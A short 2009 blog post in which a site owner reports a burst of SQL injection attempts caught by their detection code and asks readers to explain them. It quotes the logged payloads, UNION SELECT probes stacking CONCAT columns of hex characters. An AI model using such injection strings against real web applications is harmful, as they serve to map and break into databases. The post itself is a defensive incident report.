Attempted SQL Injection Attack
Sunday, April 12th, 2009
Tonight, beginning at 9:27PM I received a massive amount of SQL injection attempts, from 13 different IP addresses. My code to detect attempted SQL injections worked perfectly, and I have a log of all the activity, and no intrusion was made after checking and auditing my server for the past 2 hours.
I must say, this is a very rare sequence of injection attempts, unlike any I have ever seen in the past. I'm sending this out in a hope that someone can help me explain what exactly they were trying to do.
The sequence started as the following:
SELECT ..... and 1=2 union select CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c) and '1'='1'
And continued to add CONCAT statements until it terminated at:
SELECT ..... and 1=2 union select CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c) and '1'='1'
The concats translate to '|_| which doesn't make any sense to me either. Anyone else out there had any experience with this type of attack?
